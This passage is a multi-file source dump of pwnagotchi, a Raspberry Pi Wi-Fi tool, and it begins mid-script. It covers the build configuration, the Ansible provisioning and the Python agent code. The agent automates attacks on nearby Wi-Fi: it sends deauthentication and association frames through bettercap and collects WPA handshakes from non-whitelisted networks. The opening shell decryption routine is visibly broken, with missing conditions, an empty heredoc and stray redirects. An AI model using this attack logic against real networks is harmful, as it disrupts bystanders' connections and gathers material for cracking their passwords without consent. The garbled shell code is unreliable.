MANU if is_interface_up eth0; then return 1 fi # no override, but none of the interfaces is up -> AUTO return 0 } # check if we need to decrypt something is_crypted_mode() { if [ -f /root/.pwnagotchi-crypted ]; then return 0 fi return 1 } # decryption loop is_decrypted() { while read -r mapping container mount; do # mapping = name the device or file will be mapped to # container = the luks encrypted device or file # mount = the mountpoint # fail if not mounted if ! mountpoint -q "$mount" >/dev/null 2>&1; then if [ -f /tmp/.pwnagotchi-secret-"$mapping" ]; then /dev/null 2>&1; then echo "Container decrypted!" fi fi if mount /dev/mapper/"$mapping" "$mount" >/dev/null 2>&1; then echo "Mounted /dev/mapper/$mapping to $mount" continue fi fi if ! ip -4 addr show wlan0 | grep inet >/dev/null 2>&1; then >/dev/null 2>&1 ip addr add 192.168.0.10/24 dev wlan0 fi if ! pgrep -f decryption-webserver >/dev/null 2>&1; then >/dev/null 2>&1 decryption-webserver & fi if ! pgrep wpa_supplicant >/dev/null 2>&1; then >/tmp/wpa_supplicant.conf cat </dev/null 2>&1 wpa_supplicant -u -s -O -D nl80211 -i wlan0 -c /tmp/wpa_supplicant.conf & fi if ! pgrep dnsmasq >/dev/null 2>&1; then >/dev/null 2>&1 dnsmasq -k -p 53 -h -O "6,192.168.0.10" -A "/#/192.168.0.10" -i wlan0 -K -F 192.168.0.50,192.168.0.60,255.255.255.0,24h & fi return 1 fi done /dev/null # delete rm /tmp/.pwnagotchi-secret-* sync # flush pkill wpa_supplicant pkill dnsmasq pid="$(pgrep -f "decryption-webserver")" [[ -n "$pid" ]] && kill "$pid" return 0 } ================================================ FILE: builder/pwnagotchi.json ================================================ { "builders": [ { "name": "pwnagotchi", "type": "arm-image", "iso_url": "https://downloads.raspberrypi.org/raspbian_lite/images/raspbian_lite-2019-07-12/2019-07-10-raspbian-buster-lite.zip", "iso_checksum": "9e5cf24ce483bb96e7736ea75ca422e3560e7b455eee63dd28f66fa1825db70e", "last_partition_extra_size": 3221225472 } ], "provisioners": [ { "type": "shell", "inline": [ "sed -i 's/^\\([^#]\\)/#\\1/g' /etc/ld.so.preload", "dpkg-architecture", "apt-get -y update", "apt-get install -y ansible" ] }, { "type": "file", "source": "data/usr/bin/pwnlib", "destination": "/usr/bin/pwnlib" }, { "type": "file", "source": "data/usr/bin/bettercap-launcher", "destination": "/usr/bin/bettercap-launcher" }, { "type": "file", "source": "data/usr/bin/pwnagotchi-launcher", "destination": "/usr/bin/pwnagotchi-launcher" }, { "type": "file", "source": "data/usr/bin/monstop", "destination": "/usr/bin/monstop" }, { "type": "file", "source": "data/usr/bin/monstart", "destination": "/usr/bin/monstart" }, { "type": "file", "source": "data/usr/bin/hdmion", "destination": "/usr/bin/hdmion" }, { "type": "file", "source": "data/usr/bin/hdmioff", "destination": "/usr/bin/hdmioff" }, { "type": "file", "source": "data/etc/network/interfaces.d/lo-cfg", "destination": "/etc/network/interfaces.d/lo-cfg" }, { "type": "file", "source": "data/etc/network/interfaces.d/wlan0-cfg", "destination": "/etc/network/interfaces.d/wlan0-cfg" }, { "type": "file", "source": "data/etc/network/interfaces.d/usb0-cfg", "destination": "/etc/network/interfaces.d/usb0-cfg" }, { "type": "file", "source": "data/etc/network/interfaces.d/eth0-cfg", "destination": "/etc/network/interfaces.d/eth0-cfg" }, { "type": "file", "source": "data/etc/systemd/system/pwngrid-peer.service", "destination": "/etc/systemd/system/pwngrid-peer.service" }, { "type": "file", "source": "data/etc/systemd/system/pwnagotchi.service", "destination": "/etc/systemd/system/pwnagotchi.service" }, { "type": "file", "source": "data/etc/systemd/system/bettercap.service", "destination": "/etc/systemd/system/bettercap.service" }, { "type": "shell", "inline": [ "chmod +x /usr/bin/*" ] }, { "type": "ansible-local", "playbook_file": "pwnagotchi.yml", "extra_arguments": [ "--extra-vars \"ansible_python_interpreter=/usr/bin/python3\"" ], "command": "ANSIBLE_FORCE_COLOR=1 PYTHONUNBUFFERED=1 PWN_VERSION={{user `pwn_version`}} PWN_HOSTNAME={{user `pwn_hostname`}} ansible-playbook" }, { "type": "shell", "inline": [ "sed -i 's/^#\\(.+\\)/\\1/g' /etc/ld.so.preload" ] } ] } ================================================ FILE: builder/pwnagotchi.yml ================================================ --- - hosts: - 127.0.0.1 become: yes vars: pwnagotchi: hostname: "{{ lookup('env', 'PWN_HOSTNAME') | default('pwnagotchi', true) }}" version: "{{ lookup('env', 'PWN_VERSION') | default('master', true) }}" system: boot_options: - "dtoverlay=dwc2" - "dtoverlay=spi1-3cs" - "dtparam=spi=on" - "dtparam=i2c_arm=on" - "dtparam=i2c1=on" - "gpu_mem=16" modules: - "i2c-dev" services: enable: - dphys-swapfile.service - pwnagotchi.service - bettercap.service - pwngrid-peer.service - epd-fuse.service - fstrim.timer disable: - apt-daily.timer - apt-daily.service - apt-daily-upgrade.timer - apt-daily-upgrade.service - wpa_supplicant.service - bluetooth.service - triggerhappy.service - ifup@wlan0.service - dnsmasq.service packages: bettercap: url: "https://github.com/bettercap/bettercap/releases/download/v2.31.0/bettercap_linux_armhf_v2.31.0.zip" ui: "https://github.com/bettercap/ui/releases/download/v1.3.0/ui.zip" pwngrid: url: "https://github.com/evilsocket/pwngrid/releases/download/v1.10.3/pwngrid_linux_armhf_v1.10.3.zip" apt: hold: - firmware-atheros - firmware-brcm80211 - firmware-libertas - firmware-misc-nonfree - firmware-realtek remove: - raspberrypi-net-mods - dhcpcd5 - triggerhappy - wpa_supplicant - nfs-common install: - rsync - vim - screen - golang - git - build-essential - python3-pip - python3-mpi4py - python3-smbus - unzip - gawk - libopenmpi-dev - libatlas-base-dev - libjasper-dev - libqtgui4 - libqt4-test - libopenjp2-7 - libtiff5 - tcpdump - lsof - libilmbase23 - libopenexr23 - libgstreamer1.0-0 - libavcodec58 - libavformat58 - libswscale5 - libpcap-dev - libusb-1.0-0-dev - libnetfilter-queue-dev - libopenmpi3 - dphys-swapfile - kalipi-kernel - kalipi-bootloader - kalipi-re4son-firmware - kalipi-kernel-headers - libraspberrypi0 - libraspberrypi-dev - libraspberrypi-doc - libraspberrypi-bin - fonts-dejavu - fonts-dejavu-core - fonts-dejavu-extra - python3-pil - python3-smbus - libfuse-dev - bc - fonts-freefont-ttf - fbi - fonts-ipaexfont-gothic - cryptsetup - dnsmasq tasks: - name: change hostname hostname: name: "{{pwnagotchi.hostname}}" when: lookup('file', '/etc/hostname') == "raspberrypi" register: hostname - name: add hostname to /etc/hosts lineinfile: dest: /etc/hosts regexp: '^127\.0\.1\.1[ \t]+raspberrypi' line: "127.0.1.1\t{{pwnagotchi.hostname}}" state: present when: hostname.changed - name: disable sap plugin for bluetooth.service lineinfile: dest: /lib/systemd/system/bluetooth.service regexp: '^ExecStart=/usr/lib/bluetooth/bluetoothd$' line: 'ExecStart=/usr/lib/bluetooth/bluetoothd --noplugin=sap' state: present - name: Add re4son-kernel repo key apt_key: url: https://re4son-kernel.com/keys/http/archive-key.asc state: present - name: Add re4son-kernel repository apt_repository: repo: deb http://http.re4son-kernel.com/re4son/ kali-pi main state: present - name: create /etc/apt/preferences.d/kali.pref copy: dest: /etc/apt/preferences.d/kali.pref force: yes content: | # ensure kali packages that are installed take precedence Package: * Pin: release n=kali-pi Pin-Priority: 999 - name: add firmware packages to hold dpkg_selections: name: "{{ item }}" selection: hold with_items: "{{ packages.apt.hold }}" - name: update apt package cache apt: update_cache: yes - name: remove unecessary apt packages apt: name: "{{ packages.apt.remove }}" state: absent purge: yes - name: upgrade apt distro apt: upgrade: dist - name: install packages apt: name: "{{ packages.apt.install }}" state: present - name: configure dphys-swapfile file: path: /etc/dphys-swapfile content: "CONF_SWAPSIZE=1024" - name: clone papirus repository git: repo: https://github.com/repaper/gratis.git dest: /usr/local/src/gratis register: gratisgit - name: build papirus service make: chdir: /usr/local/src/gratis target: rpi params: EPD_IO: epd_io_free_uart.h PANEL_VERSION: 'V231_G2' when: gratisgit.changed - name: install papirus service make: chdir: /usr/local/src/gratis target: rpi-install params: EPD_IO: epd_io_free_uart.h PANEL_VERSION: 'V231_G2' when: gratisgit.changed - name: configure papirus display size lineinfile: dest: /etc/default/epd-fuse regexp: "#EPD_SIZE=2.0" line: "EPD_SIZE=2.0" - name: collect python pip package list command: "pip3 list" register: pip_output - name: set python pip package facts set_fact: pip_packages: > {{ pip_packages | default({}) | combine( { item.split()[0]: item.split()[1] } ) }} with_items: "{{ pip_output.stdout_lines }}" - name: acquire python3 pip target command: "python3 -c 'import sys;print(sys.path.pop())'" register: pip_target - name: clone pwnagotchi repository git: repo: https://github.com/evilsocket/pwnagotchi.git dest: /usr/local/src/pwnagotchi register: pwnagotchigit - name: create /usr/local/share/pwnagotchi/ folder file: path: /usr/local/share/pwnagotchi/ state: directory - name: clone pwnagotchi plugins repository git: repo: https://github.com/evilsocket/pwnagotchi-plugins-contrib.git dest: /usr/local/share/pwnagotchi/availaible-plugins - name: fetch pwnagotchi version set_fact: pwnagotchi_version: "{{ lookup('file', '/usr/local/src/pwnagotchi/pwnagotchi/_version.py') | regex_replace('.*__version__.*=.*''([0-9]+\\.[0-9]+\\.[0-9]+[A-Za-z0-9]*)''.*', '\\1') }}" - name: pwnagotchi version found debug: msg: "{{ pwnagotchi_version }}" - name: build pwnagotchi wheel command: "python3 setup.py sdist bdist_wheel" args: chdir: /usr/local/src/pwnagotchi when: (pwnagotchigit.changed) or (pip_packages['pwnagotchi'] is undefined) or (pip_packages['pwnagotchi'] != pwnagotchi_version) - name: install opencv-python pip: name: "https://www.piwheels.org/simple/opencv-python/opencv_python-3.4.3.18-cp37-cp37m-linux_armv6l.whl" extra_args: "--no-deps --no-cache-dir --platform=linux_armv6l --only-binary=:all: --target={{ pip_target.stdout }}" when: (pip_packages['opencv-python'] is undefined) or (pip_packages['opencv-python'] != '3.4.3.18') - name: install tensorflow pip: name: "https://www.piwheels.org/simple/tensorflow/tensorflow-1.13.1-cp37-none-linux_armv6l.whl" extra_args: "--no-deps --no-cache-dir --platform=linux_armv6l --only-binary=:all: --target={{ pip_target.stdout }}" when: (pip_packages['tensorflow'] is undefined) or (pip_packages['tensorflow'] != '1.13.1') - name: install pwnagotchi wheel and dependencies pip: name: "{{ lookup('fileglob', '/usr/local/src/pwnagotchi/dist/pwnagotchi*.whl') }}" extra_args: "--no-cache-dir" when: (pwnagotchigit.changed) or (pip_packages['pwnagotchi'] is undefined) or (pip_packages['pwnagotchi'] != pwnagotchi_version) - name: download and install pwngrid unarchive: src: "{{ packages.pwngrid.url }}" dest: /usr/bin remote_src: yes mode: 0755 - name: download and install bettercap unarchive: src: "{{ packages.bettercap.url }}" dest: /usr/bin remote_src: yes exclude: - README.md - LICENSE.md mode: 0755 - name: clone bettercap caplets git: repo: https://github.com/bettercap/caplets.git dest: /tmp/caplets register: capletsgit - name: install bettercap caplets make: chdir: /tmp/caplets target: install when: capletsgit.changed - name: download and install bettercap ui unarchive: src: "{{ packages.bettercap.ui }}" dest: /usr/local/share/bettercap/ remote_src: yes mode: 0755 - name: add HDMI powersave to rc.local blockinfile: path: /etc/rc.local insertbefore: "exit 0" block: | if ! /opt/vc/bin/tvservice -s | egrep 'HDMI|DVI'; then /opt/vc/bin/tvservice -o fi - name: create /etc/pwnagotchi folder file: path: /etc/pwnagotchi state: directory - name: check if user configuration exists stat: path: /etc/pwnagotchi/config.toml register: user_config - name: create /etc/pwnagotchi/config.toml copy: dest: /etc/pwnagotchi/config.toml content: | # Add your configuration overrides on this file any configuration changes done to default.toml will be lost! # Example: # ui.display.enabled = true # ui.display.type = "waveshare_2" when: not user_config.stat.exists - name: enable ssh on boot file: path: /boot/ssh state: touch - name: adjust /boot/config.txt lineinfile: dest: /boot/config.txt insertafter: EOF line: '{{ item }}' with_items: "{{system.boot_options}}" - name: adjust /etc/modules lineinfile: dest: /etc/modules insertafter: EOF line: '{{ item }}' with_items: "{{system.modules}}" - name: change root partition replace: dest: /boot/cmdline.txt backup: no regexp: "root=PARTUUID=[a-zA-Z0-9\\-]+" replace: "root=/dev/mmcblk0p2" - name: configure /boot/cmdline.txt lineinfile: path: /boot/cmdline.txt backrefs: True state: present backup: no regexp: '(.*)$' line: '\1 modules-load=dwc2,g_ether' - name: configure motd copy: dest: /etc/motd content: | (◕‿‿◕) {{pwnagotchi.hostname}} Hi! I'm a pwnagotchi, please take good care of me! Here are some basic things you need to know to raise me properly! If you want to change my configuration, use /etc/pwnagotchi/config.toml All the configuration options can be found on /etc/pwnagotchi/default.toml, but don't change this file because I will recreate it every time I'm restarted! I'm managed by systemd. Here are some basic commands. If you want to know what I'm doing, you can check my logs with the command tail -f /var/log/pwnagotchi.log If you want to know if I'm running, you can use systemctl status pwnagotchi You can restart me using systemctl restart pwnagotchi But be aware I will go into MANUAL mode when restarted! You can put me back into AUTO mode using touch /root/.pwnagotchi-auto && systemctl restart pwnagotchi You learn more about me at https://pwnagotchi.ai/ when: hostname.changed - name: clean apt cache apt: autoclean: yes - name: remove dependencies that are no longer required apt: autoremove: yes - name: enable services systemd: name: "{{ item }}" state: started enabled: yes with_items: "{{ services.enable }}" - name: disable unecessary services systemd: name: "{{ item }}" state: stopped enabled: no with_items: "{{ services.disable }}" - name: remove ssh keys file: state: absent path: "{{item}}" with_fileglob: - "/etc/ssh/ssh_host*_key*" handlers: - name: reload systemd services systemd: daemon_reload: yes ================================================ FILE: pwnagotchi/__init__.py ================================================ import os import logging import time import re from pwnagotchi._version import __version__ _name = None config = None def set_name(new_name): if new_name is None: return new_name = new_name.strip() if new_name == '': return if not re.match(r'^[a-zA-Z0-9\-]{2,25}$', new_name): logging.warning("name '%s' is invalid: min length is 2, max length 25, only a-zA-Z0-9- allowed", new_name) return current = name() if new_name != current: global _name logging.info("setting unit hostname '%s' -> '%s'", current, new_name) with open('/etc/hostname', 'wt') as fp: fp.write(new_name) with open('/etc/hosts', 'rt') as fp: prev = fp.read() logging.debug("old hosts:\n%s\n", prev) with open('/etc/hosts', 'wt') as fp: patched = prev.replace(current, new_name, -1) logging.debug("new hosts:\n%s\n", patched) fp.write(patched) os.system("hostname '%s'" % new_name) pwnagotchi.reboot() def name(): global _name if _name is None: with open('/etc/hostname', 'rt') as fp: _name = fp.read().strip() return _name def uptime(): with open('/proc/uptime') as fp: return int(fp.read().split('.')[0]) def mem_usage(): with open('/proc/meminfo') as fp: for line in fp: line = line.strip() if line.startswith("MemTotal:"): kb_mem_total = int(line.split()[1]) if line.startswith("MemFree:"): kb_mem_free = int(line.split()[1]) if line.startswith("Buffers:"): kb_main_buffers = int(line.split()[1]) if line.startswith("Cached:"): kb_main_cached = int(line.split()[1]) kb_mem_used = kb_mem_total - kb_mem_free - kb_main_cached - kb_main_buffers return round(kb_mem_used / kb_mem_total, 1) return 0 def _cpu_stat(): """ Returns the splitted first line of the /proc/stat file """ with open('/proc/stat', 'rt') as fp: return list(map(int,fp.readline().split()[1:])) def cpu_load(): """ Returns the current cpuload """ parts0 = _cpu_stat() time.sleep(0.1) parts1 = _cpu_stat() parts_diff = [p1 - p0 for (p0, p1) in zip(parts0, parts1)] user, nice, sys, idle, iowait, irq, softirq, steal, _guest, _guest_nice = parts_diff idle_sum = idle + iowait non_idle_sum = user + nice + sys + irq + softirq + steal total = idle_sum + non_idle_sum return non_idle_sum / total def temperature(celsius=True): with open('/sys/class/thermal/thermal_zone0/temp', 'rt') as fp: temp = int(fp.read().strip()) c = int(temp / 1000) return c if celsius else ((c * (9 / 5)) + 32) def shutdown(): logging.warning("shutting down ...") from pwnagotchi.ui import view if view.ROOT: view.ROOT.on_shutdown() # give it some time to refresh the ui time.sleep(10) logging.warning("syncing...") from pwnagotchi import fs for m in fs.mounts: m.sync() os.system("sync") os.system("halt") def restart(mode): logging.warning("restarting in %s mode ...", mode) if mode == 'AUTO': os.system("touch /root/.pwnagotchi-auto") else: os.system("touch /root/.pwnagotchi-manual") os.system("service bettercap restart") os.system("service pwnagotchi restart") def reboot(mode=None): if mode is not None: mode = mode.upper() logging.warning("rebooting in %s mode ...", mode) else: logging.warning("rebooting ...") from pwnagotchi.ui import view if view.ROOT: view.ROOT.on_rebooting() # give it some time to refresh the ui time.sleep(10) if mode == 'AUTO': os.system("touch /root/.pwnagotchi-auto") elif mode == 'MANU': os.system("touch /root/.pwnagotchi-manual") logging.warning("syncing...") from pwnagotchi import fs for m in fs.mounts: m.sync() os.system("sync") os.system("shutdown -r now") ================================================ FILE: pwnagotchi/_version.py ================================================ __version__ = '1.5.5' ================================================ FILE: pwnagotchi/agent.py ================================================ import time import json import os import re import logging import asyncio import _thread import pwnagotchi import pwnagotchi.utils as utils import pwnagotchi.plugins as plugins from pwnagotchi.ui.web.server import Server from pwnagotchi.automata import Automata from pwnagotchi.log import LastSession from pwnagotchi.bettercap import Client from pwnagotchi.mesh.utils import AsyncAdvertiser from pwnagotchi.ai.train import AsyncTrainer RECOVERY_DATA_FILE = '/root/.pwnagotchi-recovery' class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer): def __init__(self, view, config, keypair): Client.__init__(self, config['bettercap']['hostname'], config['bettercap']['scheme'], config['bettercap']['port'], config['bettercap']['username'], config['bettercap']['password']) Automata.__init__(self, config, view) AsyncAdvertiser.__init__(self, config, view, keypair) AsyncTrainer.__init__(self, config) self._started_at = time.time() self._filter = None if not config['main']['filter'] else re.compile(config['main']['filter']) self._current_channel = 0 self._tot_aps = 0 self._aps_on_channel = 0 self._supported_channels = utils.iface_channels(config['main']['iface']) self._view = view self._view.set_agent(self) self._web_ui = Server(self, config['ui']) self._access_points = [] self._last_pwnd = None self._history = {} self._handshakes = {} self.last_session = LastSession(self._config) self.mode = 'auto' if not os.path.exists(config['bettercap']['handshakes']): os.makedirs(config['bettercap']['handshakes']) logging.info("%s@%s (v%s)", pwnagotchi.name(), self.fingerprint(), pwnagotchi.__version__) for _, plugin in plugins.loaded.items(): logging.debug("plugin '%s' v%s", plugin.__class__.__name__, plugin.__version__) def config(self): return self._config def view(self): return self._view def supported_channels(self): return self._supported_channels def setup_events(self): logging.info("connecting to %s ...", self.url) for tag in self._config['bettercap']['silence']: try: self.run('events.ignore %s' % tag, verbose_errors=False) except Exception: pass def _reset_wifi_settings(self): mon_iface = self._config['main']['iface'] self.run('set wifi.interface %s' % mon_iface) self.run('set wifi.ap.ttl %d' % self._config['personality']['ap_ttl']) self.run('set wifi.sta.ttl %d' % self._config['personality']['sta_ttl']) self.run('set wifi.rssi.min %d' % self._config['personality']['min_rssi']) self.run('set wifi.handshakes.file %s' % self._config['bettercap']['handshakes']) self.run('set wifi.handshakes.aggregate false') def start_monitor_mode(self): mon_iface = self._config['main']['iface'] mon_start_cmd = self._config['main']['mon_start_cmd'] restart = not self._config['main']['no_restart'] has_mon = False while has_mon is False: s = self.session() for iface in s['interfaces']: if iface['name'] == mon_iface: logging.info("found monitor interface: %s", iface['name']) has_mon = True break if has_mon is False: if mon_start_cmd is not None and mon_start_cmd != '': logging.info("starting monitor interface ...") self.run('!%s' % mon_start_cmd) else: logging.info("waiting for monitor interface %s ...", mon_iface) time.sleep(1) logging.info("supported channels: %s", self._supported_channels) logging.info("handshakes will be collected inside %s", self._config['bettercap']['handshakes']) self._reset_wifi_settings() wifi_running = self.is_module_running('wifi') if wifi_running and restart: logging.debug("restarting wifi module ...") self.restart_module('wifi.recon') self.run('wifi.clear') elif not wifi_running: logging.debug("starting wifi module ...") self.start_module('wifi.recon') self.start_advertising() def _wait_bettercap(self): while True: try: _s = self.session() return except Exception: logging.info("waiting for bettercap API to be available ...") time.sleep(1) def start(self): self.start_ai() self._wait_bettercap() self.setup_events() self.set_starting() self.start_monitor_mode() self.start_event_polling() self.start_session_fetcher() # print initial stats self.next_epoch() self.set_ready() def recon(self): recon_time = self._config['personality']['recon_time'] max_inactive = self._config['personality']['max_inactive_scale'] recon_mul = self._config['personality']['recon_inactive_multiplier'] channels = self._config['personality']['channels'] if self._epoch.inactive_for >= max_inactive: recon_time *= recon_mul self._view.set('channel', '*') if not channels: self._current_channel = 0 logging.debug("RECON %ds", recon_time) self.run('wifi.recon.channel clear') else: logging.debug("RECON %ds ON CHANNELS %s", recon_time, ','.join(map(str, channels))) try: self.run('wifi.recon.channel %s' % ','.join(map(str, channels))) except Exception as e: logging.exception("Error while setting wifi.recon.channels (%s)", e) self.wait_for(recon_time, sleeping=False) def _filter_included(self, ap): return self._filter is None or \ self._filter.match(ap['hostname']) is not None or \ self._filter.match(ap['mac']) is not None def set_access_points(self, aps): self._access_points = aps plugins.on('wifi_update', self, aps) self._epoch.observe(aps, list(self._peers.values())) return self._access_points def get_access_points(self): whitelist = self._config['main']['whitelist'] aps = [] try: s = self.session() plugins.on("unfiltered_ap_list", self, s['wifi']['aps']) for ap in s['wifi']['aps']: if ap['encryption'] == '' or ap['encryption'] == 'OPEN': continue elif ap['hostname'] not in whitelist \ and ap['mac'].lower() not in whitelist \ and ap['mac'][:8].lower() not in whitelist: if self._filter_included(ap): aps.append(ap) except Exception as e: logging.exception("Error while getting acces points (%s)", e) aps.sort(key=lambda ap: ap['channel']) return self.set_access_points(aps) def get_total_aps(self): return self._tot_aps def get_aps_on_channel(self): return self._aps_on_channel def get_current_channel(self): return self._current_channel def get_access_points_by_channel(self): aps = self.get_access_points() channels = self._config['personality']['channels'] grouped = {} # group by channel for ap in aps: ch = ap['channel'] # if we're sticking to a channel, skip anything # which is not on that channel if channels and ch not in channels: continue if ch not in grouped: grouped[ch] = [ap] else: grouped[ch].append(ap) # sort by more populated channels return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True) def _find_ap_sta_in(self, station_mac, ap_mac, session): for ap in session['wifi']['aps']: if ap['mac'] == ap_mac: for sta in ap['clients']: if sta['mac'] == station_mac: return (ap, sta) return (ap, {'mac': station_mac, 'vendor': ''}) return None def _update_uptime(self, s): secs = pwnagotchi.uptime() self._view.set('uptime', utils.secs_to_hhmmss(secs)) # self._view.set('epoch', '%04d' % self._epoch.epoch) def _update_counters(self): self._tot_aps = len(self._access_points) tot_stas = sum(len(ap['clients']) for ap in self._access_points) if self._current_channel == 0: self._view.set('aps', '%d' % self._tot_aps) self._view.set('sta', '%d' % tot_stas) else: self._aps_on_channel = len([ap for ap in self._access_points if ap['channel'] == self._current_channel]) stas_on_channel = sum( [len(ap['clients']) for ap in self._access_points if ap['channel'] == self._current_channel]) self._view.set('aps', '%d (%d)' % (self._aps_on_channel, self._tot_aps)) self._view.set('sta', '%d (%d)' % (stas_on_channel, tot_stas)) def _update_handshakes(self, new_shakes=0): if new_shakes > 0: self._epoch.track(handshake=True, inc=new_shakes) tot = utils.total_unique_handshakes(self._config['bettercap']['handshakes']) txt = '%d (%d)' % (len(self._handshakes), tot) if self._last_pwnd is not None: txt += ' [%s]' % self._last_pwnd[:20] self._view.set('shakes', txt) if new_shakes > 0: self._view.on_handshakes(new_shakes) def _update_peers(self): self._view.set_closest_peer(self._closest_peer, len(self._peers)) def _reboot(self): self.set_rebooting() self._save_recovery_data() pwnagotchi.reboot() def _save_recovery_data(self): logging.warning("writing recovery data to %s ...", RECOVERY_DATA_FILE) with open(RECOVERY_DATA_FILE, 'w') as fp: data = { 'started_at': self._started_at, 'epoch': self._epoch.epoch, 'history': self._history, 'handshakes': self._handshakes, 'last_pwnd': self._last_pwnd } json.dump(data, fp) def _load_recovery_data(self, delete=True, no_exceptions=True): try: with open(RECOVERY_DATA_FILE, 'rt') as fp: data = json.load(fp) logging.info("found recovery data: %s", data) self._started_at = data['started_at'] self._epoch.epoch = data['epoch'] self._handshakes = data['handshakes'] self._history = data['history'] self._last_pwnd = data['last_pwnd'] if delete: logging.info("deleting %s", RECOVERY_DATA_FILE) os.unlink(RECOVERY_DATA_FILE) except: if not no_exceptions: raise def start_session_fetcher(self): _thread.start_new_thread(self._fetch_stats, ()) def _fetch_stats(self): while True: s = self.session() self._update_uptime(s) self._update_advertisement(s) self._update_peers() self._update_counters() self._update_handshakes(0) time.sleep(1) async def _on_event(self, msg): found_handshake = False jmsg = json.loads(msg) if jmsg['tag'] == 'wifi.client.handshake': filename = jmsg['data']['file'] sta_mac = jmsg['data']['station'] ap_mac = jmsg['data']['ap'] key = "%s -> %s" % (sta_mac, ap_mac) if key not in self._handshakes: self._handshakes[key] = jmsg s = self.session() ap_and_station = self._find_ap_sta_in(sta_mac, ap_mac, s) if ap_and_station is None: logging.warning("!!! captured new handshake: %s !!!", key) self._last_pwnd = ap_mac plugins.on('handshake', self, filename, ap_mac, sta_mac) else: (ap, sta) = ap_and_station self._last_pwnd = ap['hostname'] if ap['hostname'] != '' and ap[ 'hostname'] != '' else ap_mac logging.warning( "!!! captured new handshake on channel %d, %d dBm: %s (%s) -> %s [%s (%s)] !!!", ap['channel'], ap['rssi'], sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor']) plugins.on('handshake', self, filename, ap, sta) found_handshake = True self._update_handshakes(1 if found_handshake else 0) def _event_poller(self, loop): self._load_recovery_data() self.run('events.clear') while True: logging.debug("polling events ...") try: loop.create_task(self.start_websocket(self._on_event)) loop.run_forever() except Exception as ex: logging.debug("Error while polling via websocket (%s)", ex) def start_event_polling(self): # start a thread and pass in the mainloop _thread.start_new_thread(self._event_poller, (asyncio.get_event_loop(),)) def is_module_running(self, module): s = self.session() for m in s['modules']: if m['name'] == module: return m['running'] return False def start_module(self, module): self.run('%s on' % module) def restart_module(self, module): self.run('%s off; %s on' % (module, module)) def _has_handshake(self, bssid): for key in self._handshakes: if bssid.lower() in key: return True return False def _should_interact(self, who): if self._has_handshake(who): return False elif who not in self._history: self._history[who] = 1 return True else: self._history[who] += 1 return self._history[who] < self._config['personality']['max_interactions'] def associate(self, ap, throttle=0): if self.is_stale(): logging.debug("recon is stale, skipping assoc(%s)", ap['mac']) return if self._config['personality']['associate'] and self._should_interact(ap['mac']): self._view.on_assoc(ap) try: logging.info("sending association frame to %s (%s %s) on channel %d [%d clients], %d dBm...", ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], len(ap['clients']), ap['rssi']) self.run('wifi.assoc %s' % ap['mac']) self._epoch.track(assoc=True) except Exception as e: self._on_error(ap['mac'], e) plugins.on('association', self, ap) if throttle > 0: time.sleep(throttle) self._view.on_normal() def deauth(self, ap, sta, throttle=0): if self.is_stale(): logging.debug("recon is stale, skipping deauth(%s)", sta['mac']) return if self._config['personality']['deauth'] and self._should_interact(sta['mac']): self._view.on_deauth(sta) try: logging.info("deauthing %s (%s) from %s (%s %s) on channel %d, %d dBm ...", sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], ap['rssi']) self.run('wifi.deauth %s' % sta['mac']) self._epoch.track(deauth=True) except Exception as e: self._on_error(sta['mac'], e) plugins.on('deauthentication', self, ap, sta) if throttle > 0: time.sleep(throttle) self._view.on_normal() def set_channel(self, channel, verbose=True): if self.is_stale(): logging.debug("recon is stale, skipping set_channel(%d)", channel) return # if in the previous loop no client stations has been deauthenticated # and only association frames have been sent, we don't need to wait # very long before switching channel as we don't have to wait for # such client stations to reconnect in order to sniff the handshake. wait = 0 if self._epoch.did_deauth: wait = self._config['personality']['hop_recon_time'] elif self._epoch.did_associate: wait = self._config['personality']['min_recon_time'] if channel != self._current_channel: if self._current_channel != 0 and wait > 0: if verbose: logging.info("waiting for %ds on channel %d ...", wait, self._current_channel) else: logging.debug("waiting for %ds on channel %d ...", wait, self._current_channel) self.wait_for(wait) if verbose and self._epoch.any_activity: logging.info("CHANNEL %d", channel) try: self.run('wifi.recon.channel %d' % channel) self._current_channel = channel self._epoch.track(hop=True) self._view.set('channel', '%d' % channel) plugins.on('channel_hop', self, channel) except Exception as e: logging.error("Error while setting channel (%s)", e) ================================================ FILE: pwnagotchi/ai/__init__.py ================================================ import os import time import logging # https://stackoverflow.com/questions/40426502/is-there-a-way-to-suppress-the-messages-tensorflow-prints/40426709 os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'} def load(config, agent, epoch, from_disk=True): config = config['ai'] if not config['enabled']: logging.info("ai disabled") return False try: begin = time.time() logging.info("[ai] bootstrapping dependencies ...") start = time.time() from stable_baselines import A2C logging.debug("[ai] A2C imported in %.2fs" % (time.time() - start)) start = time.time() from stable_baselines.common.policies import MlpLstmPolicy logging.debug("[ai] MlpLstmPolicy imported in %.2fs" % (time.time() - start)) start = time.time() from stable_baselines.common.vec_env import DummyVecEnv logging.debug("[ai] DummyVecEnv imported in %.2fs" % (time.time() - start)) start = time.time() import pwnagotchi.ai.gym as wrappers logging.debug("[ai] gym wrapper imported in %.2fs" % (time.time() - start)) env = wrappers.Environment(agent, epoch) env = DummyVecEnv([lambda: env]) logging.info("[ai] creating model ...") start = time.time() a2c = A2C(MlpLstmPolicy, env, **config['params']) logging.debug("[ai] A2C created in %.2fs" % (time.time() - start)) if from_disk and os.path.exists(config['path']): logging.info("[ai] loading %s ..." % config['path']) start = time.time() a2c.load(config['path'], env) logging.debug("[ai] A2C loaded in %.2fs" % (time.time() - start)) else: logging.info("[ai] model created:") for key, value in config['params'].items(): logging.info(" %s: %s" % (key, value)) logging.debug("[ai] total loading time is %.2fs" % (time.time() - begin)) return a2c except Exception as e: logging.exception("error while starting AI (%s)", e) logging.warning("[ai] AI not loaded!") return False ================================================ FILE: pwnagotchi/ai/epoch.py ================================================ import time import threading import logging import pwnagotchi import pwnagotchi.utils as utils import pwnagotchi.mesh.wifi as wifi from pwnagotchi.ai.reward import RewardFunction class Epoch(object): def __init__(self, config): self.epoch = 0 self.config = config # how many consecutive epochs with no activity self.inactive_for = 0 # how many consecutive epochs with activity self.active_for = 0 # number of epochs with no visible access points self.blind_for = 0 # number of epochs in sad state self.sad_for = 0 # number of epochs in bored state self.bored_for = 0 # did deauth in this epoch in the current channel? self.did_deauth = False # number of deauths in this epoch self.num_deauths 